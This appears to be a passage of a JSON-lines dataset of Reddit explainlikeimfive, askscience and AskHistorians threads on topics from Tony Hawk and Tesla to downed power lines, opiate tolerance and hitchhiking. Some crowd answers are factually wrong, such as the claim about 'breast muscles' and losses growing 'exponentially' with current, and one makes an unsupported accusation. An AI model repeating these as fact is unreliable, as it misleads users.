punk.", "\n\"..his mother says that he was \"so hard on himself and expected himself to do so many things.\"[4] One time, Hawk struck out in baseball and was so distraught that he hid in a ravine and had to be \"physically coaxed out\" by his father. His frustration with himself was so harsh that his parents had him psychologically evaluated at school. The results were that Tony was \"gifted,\" he tested with an I.Q. of 144..\"\n\nFrom his wiki.\n\nHe's smart and driven?", "The smartest thing he ever did was put his name on a videogame, the Tony Hawk games really influenced a generation of kids that wanted to try out skateboarding for real.\n\nOther than that he simply put his name out there a lot, talk shows, interviews, marketing campaigns for multiple products not always having to do with just skateboarding and generally being extremely successful in the sport plus a pleasure to work together with for most people. He's definitely had missteps too but in general he was just never cast in a particularly bad light and all the kids knew him, so that leaks forward to adults too and those kids have now grown up and are adults themselves.\n\nIf I remember correctly then before Tony Hawk it was pretty difficult to make a name for yourself as a skateboarder let alone live from the money you earn, but he did it and was the first household name.", "IMO it was the video game. I remember when PlayStation magazine used to include a demo disc in every issue, and the one with THPS (tony hawk pro skater) changed my world. All that my friends and I did was play that demo over and over, untill we could finally get the full game. That influenced all of us to go get real skateboards, and start skating.", "Tony had a ton of support getting into skating.  His parents embraced him fully and supported his dream.  I think his dad was the president of the officiating board of skate competitions or something like that.  Tony had a cement pool in his back yard as a teen.  I remember him clearing some fence in between two pools in some old Powell Peralta video from back in the day.  Tony was smart and had a very technical style as opposed to say Christian Hosoi.  Hosoi was all about big air and air christ's and shit.  Tony would pound out the points with tricks while Christian would use strength and agility. Tony had good management, possibly his parents.  Most those kids were latchkey kids, and tony was full on middle class.", "Something that a lot of these other posts don't mention is that, in the 1980s, Tony Hawk's father, Frank Hawk, founded the National Skateboarding Association which provided a series of contests to promote skating every year. And Tony Hawk was one of most dominant contest pros of all time. I can recall Transworld repeatedly referring to him as 'The Michael Jordan of Skateboarding.'\n\nAlso, he was on the most popular skate team throughout the 80s, Powell-Peralta, that invented the concept of a skate video. And Hawk's parts were legendary. Bones Brigade Video Show and Animal Chin both helped get Tony Hawk's skating into people's living rooms early on. And long before he landed the first 900, he landed the first 720--a trick that only a handful of skaters could land, much less in competition. \n\nThen he founded Birdhouse, one of the most popular skate brands of the 90s and made himself a household name all over again by winning the X-Games broadcast into people's homes year after year. People love watching winners, even if the sport isn't usually popular. How many cyclists could your average American name when Lance Armstrong was winning the Tour de France every year? Or how many swimmers other than Phelps and Lochte? \n\nAnd so finally, with his career of contest wins on some of the most popular teams of multiple eras, with tricks nobody else could match, and with a fairly clean public image as a skateboarding goodwill ambassador (in no small part to Frank Hawk's involvement,) Hawk was approached by Activision about a series of skateboarding video games with his name on it. Those games reached demographics that would never touch a skateboard in real life and Hawk's name was front and center. ", "He got on top because he's good but stayed on top by pressuring sponsors to keep anyone that could challenge him from competing against him in competitions. There's a cool documentary floating around out there about a couple of Aussies he boned. They were bothers and one of them was closer to landing the 900 than he was so he had him taken out of the competition.", "I'm not a gamer and even I know why. \n\nIn 1999 when *Tony Hawk's Pro Skater* came out, video games hadn't yet exploded to the level they are today so each year produced just a handful of major hit titles. It was hard *not* to know which ones were the huge hits even if you didn't own a console. *Tony Hawk's Pro Skater* was one of those games that everyone who played games, even those who didn't skateboard themselves, seemed to be playing. \n\nAdded to the fact that for 12 straight years he was the National Skateboard Association world champion, plus during the early days of the X Games he was major of star. It was at the 1999 X Games that he performed what is still believed to be the very first 900 and the first *Pro Skater* video game came out that same year. Plus, he is very media friendly (ie, cleancut) back in an age when almost any drug use even weed made media outlets  &  advertisers nervous. ", "Unknown?!! Two words. \n\nRodney Mullen. ", "Rodney Mullen, watch him skate. He is very talented, and probably did more for kids grabbing a skateboard than any other Pro skater.", "So... please feel free to critique the reference... BUT is it like how Nikola Tesla is REALLY the father of electricity. But Edison is the name everyone recognizes? I mean, Edison came up with some really awesome shit, but he took what was there and ran with it. Tony Hawk was the first prodigy of an emerging sport. He excelled, changed it, and some would say molded it. But there's still 4 faces on Mount Rushmore. I'd suggest Bucky, Burnquist and Rodney Mullen deserve the same statue. (Not taking anything away from Tony. He's the shit. I was 20 and waited in line for hours with 200 or so 13 year old brats to get my copy of THPS 1 signed.) Much respect. ", "All you need to know I'm the why is simoke. His sister is a marketing and licencing genius. She is reportedly the one who made.him a household name", "The documentary All This Mayhem on Netflix shows a cool story about two Australian skateboarders in the late 80s early 90s who rivaled Tony for some time in skill but never got as famous ", "Do people forget that Bam Margera started as a pro sakter?\n\nObviously he didn't end up being \"known\" for  the skating career, but he initially made it to the scene through professional skating(Magera was in all the THPS games). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "spwts", "title": "What did scientist Nikola Tesla mean by - 3,6,9 is the Key to the universe", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/spwts/what_did_scientist_nikola_tesla_mean_by_369_is/", "answers": {"a_id": ["c4fz3o6", "c4fzhpm", "c4g0xf6", "c4g1122", "c4g2rmv"], "score": [5, 143, 2, 2, 4], "text": ["Do you have any references that Tesla ever said that? Regardless, Tesla became quite senile in his older years and was know to have made many outlandish claims (invention of an earthquake machine, death rays, world wide wireless energy - all based on incomplete or misunderstood science)\n\n(I don't have any specific references but this stuff is covered in all his biographies, which I have read most of)", "He had a strange obsession with multiples of three. As far as I'm aware, he never told anybody what the specific reason for that was. I think the most famous example was his refusing to stay in any hotel room that didn't have a number divisble by 3. \n\nYou have to remember that although he was brilliant, he was pretty....damaged. It is widely thought that he suffered from quite a severe case of obsessive compulsive disorder.", "\"3, 6, 9, damn you're fine\" - Lil' John", "Lots of talk about this wireless energy claims in here but I don't see anyone discussing his main reasoning.  He believed that there exists a frequency (I want to say he theorized it was about 8Hz...so you're talking about epic wavelengths) that would propagate perfectly between the stratosphere and the ground.  This would allow for power to be sent around the world from one or two facilities that pumped out copious amounts of energy.  Is this something that will ever actually happen in our lifetime?  Probably not.  \n\nIs Tesla still one of the greatest people that has ever lived?  You fucking bet.", "In the quote he said \"If you only knew the magnificence of the 3, 6 and 9.\" It\u2019s possible that for Tesla \"the 3\" meant \u2018the tridecimal,' which is a numeral system commonly called base 13. His love of 3 has already been mentioned many times, and he would have been fully aware of the tridecimal numeral system. Now I\u2019m going to infer that Tesla was referring to base 13 because in base 13:\n\n6*_13_* \u00d7 9*_13_* = 42*_13_*\n\nIt may be presumptuous, but I don't think it\u2019s unreasonable to assume Nikola Tesla was saying 42 is the key to the universe.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "6ourxp", "title": "What was done to maintain morale in armies during the Napoleonic Wars? How did officers ensure that their troops didn't flee the battlefield en masse?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6ourxp/what_was_done_to_maintain_morale_in_armies_during/", "answers": {"a_id": ["dkkgv3x"], "score": [21], "text": ["Napoleonic armies were very structured and formations and precise orders were essential to keeping up morale.  They marched shoulder to shoulder with other soldiers in large formations consisting of several lines of infantry.  Since they were packed so tightly, the only real way to run is forward or across your own army's line of fire.  So in this sense you'd have to shove through the people behind you, which obviously made running very difficult.  Officers would be on horseback and ride along the lines during the battle, encouraging their troops and making sure everyone stayed in formation.  If a soldier did run, there would be men in the rear (usually on horseback) who would make the soldier return to formation.  There would also be infantry in the back who would fill the gaps if any appeared.  Because of this you'd never have an open side, and this served well to keep soldiers in line.\n\nThat's sort of the basic idea - if you wanted to run, you're packed shoulder to shoulder with other soldiers, who in turn were also shoulder to shoulder.  When you're dealing with the numbers of soldiers in a single formation, it's almost impossible for one man to alter or break through the formation, especially when mounted officers are ensuring everyone is in their place.\n\nHere's a brief read that gives some good information on how the armies worked: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.ca/books?hl=en&amp;lr=&amp;id=_qajCwAAQBAJ&amp;oi=fnd&amp;pg=PA1&amp;ots=qgzMpCLYUv&amp;sig=8zE9BI_iHb3g5jh1SRVSB-eCNn4#v=onepage&amp;q&amp;f=false"]]}
{"q_id": "1gtnic", "title": "How does having one large super-continent, affect the Earth's climate?", "selftext": "Are there specific climates that are associated with super-continents in the past? How does it affect the oceanic currents? What is it about a super-continent causes these changes? What past examples are there?\n\nIt's quite a broad question, but it's been on my mind for a while now.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1gtnic/how_does_having_one_large_supercontinent_affect/", "answers": {"a_id": ["canysf9"], "score": [2], "text": ["Oceanographer here. The changes in ocean circulation are the major factor in how a Pangaea-like supercontinent would affect climate. Western boundary currents (WBCs - i.e., the Gulf Stream) are the primary method of poleward heat transport today. Most solar radiation, as we know, comes into the tropics, so that heat must be moved towards the poles in order to even out climate somewhat. A single supercontinent would remove some of the WBCs, and therefore decrease poleward heat transport.\n\nAlong this same line, the removal of the Antarctic Circumpolar Current (the only current that circles the globe uninterrupted) would remove the barrier that isolates Antarctica and makes it so cold.\n\nThere are at least 2 supercontinents for which we have strong evidence, and there may have been at least a couple more during Earth's history. It's still a topic of debate, because the geological evidence doesn't always hold up well over 4 billion years."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1lt0wp", "title": "what is soul food?", "selftext": "I have only heard black Americans speak of soul food. For whatever reason, when I ask what it is, the only response that I get in return is laughter. I am genuinely curious about it is. Please, clue me in.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1lt0wp/eli5_what_is_soul_food/", "answers": {"a_id": ["cc2fskm"], "score": [7], "text": ["Soul Food is a genre of comfort food you find in the southern United States, usually having its roots in the kitchens of former slave families and the plantations their ancestors worked.  The dishes are typically high in fat and carbohydrates. The ingredients are those germane to southern farms, to the extent they would have been affordable and available to poor blacks.\n\nFor the most part, Soul Food overlaps with, and is indistinguishable from southern comfort food generally.  Common dishes include fried chicken, fried okra, fried catfish, potatoes and gravy, etc. Sould Food's distinguishing ingredients/dishes (which you probably won't find on the menu of a generic southern restaruant) were those that were historically eaten by blacks, such as hoppin' john and chitterlings.\n\nThe name derives from the 60's and 70's, when the word \"soul\" was a common indicator of something coming from or belonging to African American culture. Of course, by the time this phrase was coined, the cuisine had been around for a long, long time.\n\nAlso, it's delicious."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bhw5vr", "title": "why can we not turn off pain when we were designed to be able to close our eyes, cover our ears, etc (allow for blocking other senses)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bhw5vr/eli5_why_can_we_not_turn_off_pain_when_we_were/", "answers": {"a_id": ["elw95ix", "elw9b2w", "elw9scy", "elwixfp", "elwj4qe"], "score": [5, 17, 3, 4, 2], "text": ["You can sort of highjack the way pain works by rubbing the painful area, in some sorts of pain. But pain arises from potentially billions of nerve endings, whereas your other senses (that you can sort of control) arise from far fewer sources.", "Pain is how our body tells our brain that something is damaged in someway. It could be fatal if we just turned it off.", "Things like closing our eyes do Not turn off the sight sense, it just blocks light thus not sending any signals to the brain. Similarly, if the cause of the pain can be alleviated by some voluntary action, then we can do that. Ex: stretching your legs may cause some momentary pain, which stops as soon as you stop stretching. Most of the pain we can't stop happen because of things our muscles don't have proper voluntary control on.", "Maybe because we weren't designed at all ?", "We weren't really \"designed\" to be able to turn off hearing, and although we can jam thing in our ears, that it not nearly the same, and is not 100% effective. In general we can't really block much of the senses totally, even if we can somewhat tune out things."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "4o6xsf", "title": "why /r/the_donald posts are consistently dominating /r/all?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4o6xsf/eli5_why_rthe_donald_posts_are_consistently/", "answers": {"a_id": ["d4a247k", "d4a2wsx"], "score": [9, 8], "text": ["The_Donald has a *huge* amount of active users, more than r/TIL, r/pics, r/funny and other default subreddits. There's simply a lot of people browsing it.\n\nThe second reason is the culture of that subreddit is very, well, \"upvote happy\". Or 'high energy' as they would call it. In essence, they enjoy covering the frontpage, partly to get their voices out, but also because they know a lot of people don't like that reddit and so being able to \"dominate\" the frontpage is a win against \"the other side\" so to speak. Thus, there is great incentive for the userbase to upvote everything remotely interesting, as opposed to just posts that you truly enjoy.", "Because the type of people that upvote 'donald' posts are the same type of people that complain about being poor/not having enough but at the same time refuse to go out and find a job, so they still have plenty of free time to shitpost and circlejerk each other into a echoy climax as that's the only pleasure their small minds can glean from life."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3mkg7l", "title": "what are the reasons for scrum penalties in the rugby world cup?", "selftext": "It seems Iike the majority of scrums result in a penalty.  I can't see to identify what team has done what incorrectly.  It looks like a lottery to me,  with a penalty blown to either team for no logical reason.  \n\nWhat should I look out for when watching scrums,  and what are the most frequently broken rules? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3mkg7l/eli5_what_are_the_reasons_for_scrum_penalties_in/", "answers": {"a_id": ["cvfp6m9"], "score": [14], "text": ["Watch for players standing up early, mainly second row. Or guys in the front row dropping their shoulders towards the ground. This is a sign they are about to collapse.\n\nIf one team is stronger, they will push their oppenents backwards and either win the ball or cause the other teams scrum to collapse. If you are the team who does not have the ball at the start of the scrum, winning a penalty is just as good as winning the scrum.\n\nAnother thing to look as is the binds between players, particularly numbers 6  &  7 on the edges of the scrum, they are meant to have their whole arm bound to their teammate, not just their hand.\n\nThere are also rules around wheeling (rotating) the scrum, if the ref thinks you are trying to do this intentionally, he will give a penalty."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "127vi5", "title": "Do live wires really bounce and flail around and give off sparks when they are cut ? If so , why ?", "selftext": "So i was watching this movie (John Cusack starrer \"Identity\"  ) and there's a scene where a high tension wire gets cut and it is shown to give off a lot of sparks and twist and flail around. I can't remember any other examples but it does seem to be pretty common in movies to show cut wires behaving this way. If the cut end was in contact with the ground then i can understand why the sparking might occur due to the massive current flow.. but when the cut end is in air , isnt the potential across the terminals destroyed and so there should be no sparking right? Also , even if it is in contact with the ground, what would cause it to bounce/twist .. magnetic fields ? \n\nI've never actually seen a high tension wire cut so i'm not even sure whether any of these phenomena actually occur.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/127vi5/do_live_wires_really_bounce_and_flail_around_and/", "answers": {"a_id": ["c6swhll", "c6sx9cl", "c6sy6r5", "c6syofm", "c6t03ya", "c6talsj"], "score": [13, 9, 2, 6, 4, 2], "text": ["Generally, no.  It might give a jump or two as the end hits things that are grounded (causing an arc - basically a mini explosion as part of the end of the wire vaporizes along with part of whatever it touched) -- but a high voltage wire is not a hose spraying water, and if it settles down in a geometry where it is not arcing it will not move again of its own accord.\n\nAlso, high tension wires generally have circuit breakers on them that would shut off the voltage if the line were shorting out like that.", "Regarding the arc flash, check out [this youtube video](_URL_0_).  [Or this video](_URL_1_) (action at 2:35 in).  [Or even this one](_URL_2_).\n\nIt most certainly does not flail around if the line is actually cut.  You'd get a brief arc until 1) the line fault is automatically detected and the line is shut down or 2) the physical distance between the wires is such that it can no longer maintain the path.  In most cases it shuts down quite fast when the sectionalizer (part of the grid that automatically cuts power to a section of line) senses the recloser (an automatic \"circuit breaker\" which reconnects the line after a trip) continuously cycling.\n\nI'm sure someone will ask you for voltage and then calculate the distance based on the dielectric constant of air.", "IF there are two cables, and no surge protector, it makes sense. The high current during short circuits makes two or more cables to repulse each-other. [Here is a video of this phenomenon](_URL_0_). This is the main reason of having grids to protect cables like in the video: in case of short circuit, the cable can knock people down.  \n  \nBut it's really unlikely to have such cables without surge protectors. You would have one spark and one bounce... and that's all.", "You're guess of magnetic fields is completely correct. The thing is the majority of circuits for high voltage wires don't, and can't, carry all that much current, so a magnetic field sufficient to cause a lot of visible movement doesn't happen. After all the reason why we use high voltage in the first place is because resistive losses, IE heat generated uselessly, increase exponentially with increased current: P=I^2 * R so almost all wires you see carry relatively little current in normal operation. (in that equation I is the current in the wire, P is the heat generated, and R is the resistance of the circuit)\n\nAlso, because of inductance, those circuits *can't* carry very much current. Any circuit will have some inductance, and inductance is basically resistance to changes in current. What causes inductance is basically having area enclosed by the loop through which current flows. Now your average power line up on a pole has the wires separated relatively far apart, at least a foot or two, and that separation is maintained for long distances, so the inductance in the circuit will be relatively high.\n\nMathematically you can describe the effect of inductance with the equation V=dI/dt * L This equation says that the slope of the change in current through the inductance, dI/dt, times the inductance itself, L, causes a voltage, V, to appear over the inductance. That voltage acts in opposition to the voltage that is trying to \"push\" the electrons though the circuit, so your actual current is less than you would expect if the circuit had no inductance. The combination of inductance and resistance is then called impedance. (actually, capacitance is part of that too, but I won't get into that in this post) What's interesting about inductance is unlike resistance the energy isn't being \"thrown away\", rather a magnetic field is developed, and that energy is released slowly. (simplifying things a bit here)\n\nWhile a lot of impedance in a power circuit can cause problems, having too little impedance is also a problem, because if a short circuit happens the fuse protecting the circuit doesn't have enough time to react before something is damaged. Ideally a power circuit will have as little resistance as possible to minimize useless heat generation, but a controlled amount of inductance so fuses have some time to react to a short circuit. In power engineering this calculation leads to something called the \"design short-circuit current\", basically what is the peak current expected in a short-circuit situation. Fuses are then rated for the peak current they can safely stop in addition to the current they blow at. [Here](_URL_2_) is a technical discussion from a fuse manufacturer about short circuit current ratings.\n\nHowever that said, in some specialized circumstances, such as large, relatively low-voltage busbars, the impedance has to be low for the circuit to work, or it is impractical to have very much inductance. A great example is railguns: they work by applying a *huge* pulse of current, generating a very strong magnetic field, which propels a projectile. To get such a huge, fast, pulse the inductance in the circuit has to be extremely low, which means that often in videos of rail guns you can see wire [movement](_URL_0_)\n\nAlso [here](_URL_1_ Stresses) is a technical discussion about high current busbars and how you have to calculate the forces exerted in a short circuit situation.", "Sort of, but that's mostly dramatic flair.\n\nNormally lines aren't cut, they are pulled from a pole when it falls over or some other object falls on the lines. There is a lot of tension in those lines to keep them suspended, which acts in a manner not wholly unlike a spring when it is released.\n\nAs for the electrical current, there is enough kinetic energy released in the arcs to push them around a bit under ideal circumstances, but nothing like you see in movies, and typically not at all. \n\nBeing that T & D lines in most of the world are AC, there is the possibility that two lines of different phases could fall in such a way as to create briefly opposing EM fields but I can't imagine this happening under real world scenarios as the phase angles of typical 3-phase AC aren't conducive to it.\n\nMost lines in residential areas are typically 7KV or less running at 100-400 amps. More importantly, they are all protected by breakers and reclosers (automatic breakers that will attempt to re-connect the circuit a few times, commonly 3, if they detect a current fault, which is frequently something like a squirrel) that operate off automatic electrical relays and and have a reaction time measured in milliseconds between fault detection and circuit interruption, so the amount of current that can pass a faulted line may be megawatts, but it's megawatt/milliseconds.\n\nThe potential arc flash from a long distance tranmission line running at 390 KV would produce enough energy from the rapid burning of metal and plasma to move the end of the line or other nearby objects, but again because of the protection schemes you're talking about megawatt/milliseconds.\n\nTo make the math easy, an imaginary transmission line at 270 KV with a 1000 amp current (ignoring the length and capacitance of the line) could produce an arc with 270 kilojoules of energy in 1 millisecond, which is about the same as .14 kg of TNT per ms of arc. All that energy will not be released in the same manner as a chemical explosion, but it provides an upper bound to how much force could be applied to moving the line or something near it. Most of that energy will be converted to heat.", "I'm not sure where a lot of you are getting your info, but it's wrong, and dangerously wrong. Speaking as someone who has spent untold hours over two decades setting up roadblocks, and positioning fire apparatus near active wires, the primaries in residential areas generally do not shut down automatically when they are severed, or knocked loose from a transformer. They will spark and spit, and burn until manually shut down, either locally, or by the power co killing that section of the grid. Most residential lines don't flail about wildly, but they will jump and move a bit as they arc.\n\nSTAY AWAY. If you see a down wire arcing or burning, it's is very dangerous. A good rule of thumb is stay two poles away from a down line. Please, don't be stupid and put my guys at risk trying to rescue you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.youtube.com/watch?v=7aCbyx0A_ws", "http://www.youtube.com/watch?v=aoeTTbgCIfY", "http://www.youtube.com/watch?v=g4ph-h7l_aM"], ["http://www.youtube.com/watch?v=HtvXom0FCrY"], ["http://www.youtube.com/watch?v=I8GHJqxOuLI", "http://www.copperinfo.co.uk/busbars/pub22-copper-for-busbars/sec6.htm#Electromagnetic", "http://www.cooperindustries.com/content/dam/public/bussmann/Edison/Resources/Catalogs/Bus_Edison_Short_Circuit_Currents_Current_Limiting.pdf"], [], []]}
{"q_id": "ecgwch", "title": "What does the term \"phosphorylation\" refer to in Oxidative Phosphorylation (OXPHOS)? More specifically, referring to the Electron transport chain and the Mitochondria?", "selftext": "In oxidative phosphorylation (OXPHOS), I get how complexes I-IV in the mitochondria play a major role in respiration via their various redox reactions, coupled to the passing of electrons, and pumping of protons into the intermembrane space.\n\nMy questions is what exactly is the \"phosphorylation\" part of the term OXPHOS referring too? Is it referring to Complex IV where oxygen gets turned into water? Or the coupling of complexes I-IV? Thanks for the help.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ecgwch/what_does_the_term_phosphorylation_refer_to_in/", "answers": {"a_id": ["fbbtpfs", "fbd1uiy"], "score": [2, 2], "text": ["Phosphorylation is a general process attaching phosphate groups. It happens in reaction pathways such as glycolysis and the electron transport chain as well as the process that helps you form memories at a neuronal level.\nOxidative phosphorylation specifically refers to the process in the electron transport chain, and it distinguishes it from the other types of phosphorylation", "You oxidize NADH and FADH2 in the mitochondria to make NAD+ and FAD+. Those protons (H+) go into the inner mitochondrial membrane where they are used to drive ATP synthase. The phosphorylation part is ATP synthase adding a phosphate to ADP making ATP.  \nOxygen turning into water is a redox reaction that has to occur prevent oxidative damage to mitochondria. \nHope this helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "60l0ih", "title": "how is opiate tolerance determined?", "selftext": "I was prescribed 5/325 Norco tablets after some dental surgery (that is 5mg hydrocodone/325 mg acetaminophen) and I was wondering what factors into a baseline tolerance of opiates.\n\nI've heard of some people able to get a buzz off of 10-15mg of Hydro, whereas 15mg doesn't even seem to have an effect on me. I've never taken any other opiates or heavy meds before. I'm 5'8\", around 120 pounds, male. Obviously I'm pretty small. Does muscle mass have anything to do with it? I'm a swimmer, so I have a very low bodyfat percentage and a decent amount of muscle. So, is it just a general predisposition that some people have to make them more or less tolerant to some drugs, or is there some other explanation?\n\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/60l0ih/eli5_how_is_opiate_tolerance_determined/", "answers": {"a_id": ["df7gq6n"], "score": [4], "text": ["Tolerance is generally caused by a process known as down regulation. Down regulation occurs in cell receptors (the Mu opioid receptors in the case of painkillers like Norco) in response to sustained increases in receptor activation. The brain does this by reducing the number of actual receptors of the affected type. Decreased receptors decrease the binding activity of the receptors, thus reducing the effect of them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6wrz89", "title": "why do some breast sag, while others don't?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6wrz89/eli5_why_do_some_breast_sag_while_others_dont/", "answers": {"a_id": ["dmac3yz"], "score": [73], "text": ["It's all about density of breast tissue, and that unfortunately is mostly due to genetics.  \n\nFor awhile it was thought that Bras helped, but recent studies have shown that wearing one lets the breast muscles atrophy, weakening their ability to hold up.  \n\nShape matters too.  Thicker towards the chest means less sagging.  Again, genetics.  Think about how much a tube of Jello will sag when held against a wall vs a bowl shape.  \n\nDamage over age and use will cause sag too.  Breasts can grow and shrink with hormones, and they don't always retain the same density.  Especially when they've been used for breastfeeding.   \n\nAgain, favorable genetics can reduce how much these traits actually affect a woman.  Some bounce back from breastfeeding no problem, others start sagging from puberty because their body doesn't see the need to overfill.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a54ad6", "title": "why did hitch-hiking die?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a54ad6/eli5_why_did_hitchhiking_die/", "answers": {"a_id": ["ebjs3ai", "ebjsou8", "ebjuhm8", "ebjuu6l", "ebjvs06", "ebjvwk8", "ebjwmxz"], "score": [7, 21, 3, 3, 5, 3, 7], "text": ["For hitchhiking you have to trust a completely stranger enough, to spend an amount of time in a confined space.\nAnd since stories of serial killers, kidnappers, escaped prisoners and so on spread, there is much less trust in people you don't know.\nHitch hiking isn't dead, the number of people willing to take the risk is just very small. ", "People got really really scared that the complete stranger they've never met before is going to murder them and eat their kidneys.\n\nOr something to that effect.", "Ive heard everyone was hitch hiking until the 80s because a couple dudes died and there were movies about it and now everyones scared.\n\n", "Hitch hiking is big in France, every french girl I met staying at hostels while traveling refused to get public transport and only did so at a vary last resort.", "Not sure if this answer will be allowed as it's more of a \"my guess is\" but here goes:  \n\nI think the biggest reason would be that news travels infinitely faster now than in decades past. Not saying there weren't crazy psycho hitch-hikers in the time frame you're talking about (going to guess 60s/70s), but odds are if a hitch hiker was picked up and raped/murdered/whatevered a couple of people in say Iowa, not many people would hear about it outside Iowa, let alone outside of the Midwest.  \nSimilar to you, my dad had to hitch to and from college for some of his home visits. But now, if a college kid (especially if a girl) goes missing, it's national news within a day. Did people go missing decades ago, most definitely, it just didn't hit the national news so it wasn't really well known.  \n\nTransportation infrastructure has also improved (slightly) since then. The US is not even close so a lot of other countries as far as public transport, but we have made progress. So this would also decrease the need to hitch.  \n\nOverall, more families/people own cars now than they did back then, so again, less of a reason to hitch.  \n\nUber and other driver services have been taking off lately. I haven't used, but I know some offer rides over longer distances than say home from the bar or to the airport. ", "Information. The half-hour of news you watched on your local channel at 7am or 10pm back then had bigger stories to report on than someone getting kidnapped while hitchhiking, if the story even got further than a police report to begin with.", "There's a lot of financial and cultural changes that have happened since the height of hitchhiking. Sticking your thumb out used to be the regular way that soldiers got from home to base and back (army pay was rightly only spent on booze, cigarettes and women). Trust is a big issue other posts here have highlighted. But basically if you are driving long distances now-a-days it usually because you have too much baggage/people to consider flying (flights have gotten a lot more affordable over the years) which means your car is already pretty full. The days of driving long distances with just one or two people in the car (especially with today's gas prices) is dwindling. Also people now have iPods and iPhones to entertain themselves on the road, whereas in yesteryear you were happy to give a hitchhiker a ride just for the company. Another big issue is of course insurance - yesteryear you had no problems picking someone up and sharing the driving with them. Nowadays you can't afford not to think about potential liability all around. And also as public transport (especially flights) have gotten more affordable the people hitchhiking aren't middle-class soldiers or college kids anymore but from the poorer rungs of society. But the stranger danger factor also increased as you are more likely to be picking a meth addict nowadays whereas your 60s and 70s you weren't as concerned since your pot smokers are generally respectful and pretty harmless."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "sfg8k", "title": "Why does sound from the TV sound fine when played back to us, but if it's recorded by another device, and then played back, it sounds horribly weird?", "selftext": "You can always tell when someone doesn't have a digital PVR and are just recording shows with a camera pointed at the screen. One factor is the audio. Why is it that the TV can sound fine, but if you record that audio, it sounds horrible when played back?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/sfg8k/why_does_sound_from_the_tv_sound_fine_when_played/", "answers": {"a_id": ["c4dlllz", "c4dlzkb"], "score": [4, 2], "text": ["Mostly it'll be a combination of a low quality microphones being used, low quality speakers in the TV, and coloration of the sound from the room.  This situation is analogous to a JPEG being recompressed over and over.", "For the same reasoning if you took a digital picture of a painting, and then took a picture of your picture with your cellphone camera. Why doesn't the cellphone camera's picture look as good as the painting?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7qli85", "title": "In Dan Carlin's Hardcore History episode on Gaul he mentions that some historians think it possible Vercingetorix served with Caesar on a campaign and possibly knew him personally. Is there any evidence to support either belief?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7qli85/in_dan_carlins_hardcore_history_episode_on_gaul/", "answers": {"a_id": ["dsq8z2o"], "score": [142], "text": ["It's the pet theory of several French classicists (primarily Christian Goudineau), partly out of a desire to reverse the hero-worship that was built around Vercingetorix in the nationalist atmosphere of post-1871 France, where he became through some circuitous reasoning a symbol of the \"revanchard\" spirit against the Prussians.\n\nIn actuality, there's very little in the contemporary sources that suggests it was the case (Caesar makes no mention of it, and neither does Strabo). Goudineau's case is based on a much later account by Cassius Dio in his *History of Rome*, who states that Vercingetorix hoped that Caesar would show mercy because of their former friendship, and later that \"Caesar reproached his treason to the surrendering Vercingetorix, opposing his [Vercingetorix's] rebellion to his own friendship\". Interpreting these passages as meaning that Vercingetorix and Caesar had a preexisting relationship isn't necessarily wrong, but they could also refer to a more abstract bond since the Arverni had made a treaty with Rome after their defeat in 121 BC. And of course, Cassius Dio wrote more than a century after the war, making a fine interpretation of the wording of a couple sentences in his work a bit of a zero-sum game.\n\nIt's not impossible that Vercingetorix served as an auxiliary in his youth (Romans using Gallic cavalry is well-evidenced), and some historians see his grasp of Roman tactics as compelling evidence for it, but there really isn't much of a proof of it.\n\ne: Going back to this to correct a slightly wonky mental calculation on my part: Cassius Dio's *History of Rome* was written more than *two* centuries after the Gallic Wars, not one."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
